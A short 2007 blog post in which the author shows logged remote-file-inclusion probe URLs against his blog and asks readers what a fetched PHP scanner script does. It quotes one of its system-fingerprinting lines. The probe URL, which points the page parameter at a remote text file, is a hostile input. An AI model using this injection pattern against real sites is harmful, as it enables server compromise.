Is this a hacker’s tool?

Over the last few days, I have had lots of site hits looking for rather strange URLs on this blog such as:

http://www.theopensourcerer.com/2007/10/25/upcoming-free-seminar//site.php?page=
http://www.erdc.cyc.edu.tw/4images/cache/rfi/test.txt???

I took a look at the file the url refers to. Here it is:


/\/\/\ Response CMD /\/\/\

Changing this CMD will result in corrupt scanning !



Can someone who understands PHP tell me what this is trying to do? It is clearly a scanning/hacking tool designed to retrieve data - I guess to help with further exploits. But I can't quite work it out, especially the
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : "); line.

It's a php script so why should it care if the site is on Windows or Linux? Any takers...

December 20th, 2007 | Alan Lord | Tags: , .
Categories: FLOSS in the news | Comments: 3 Comments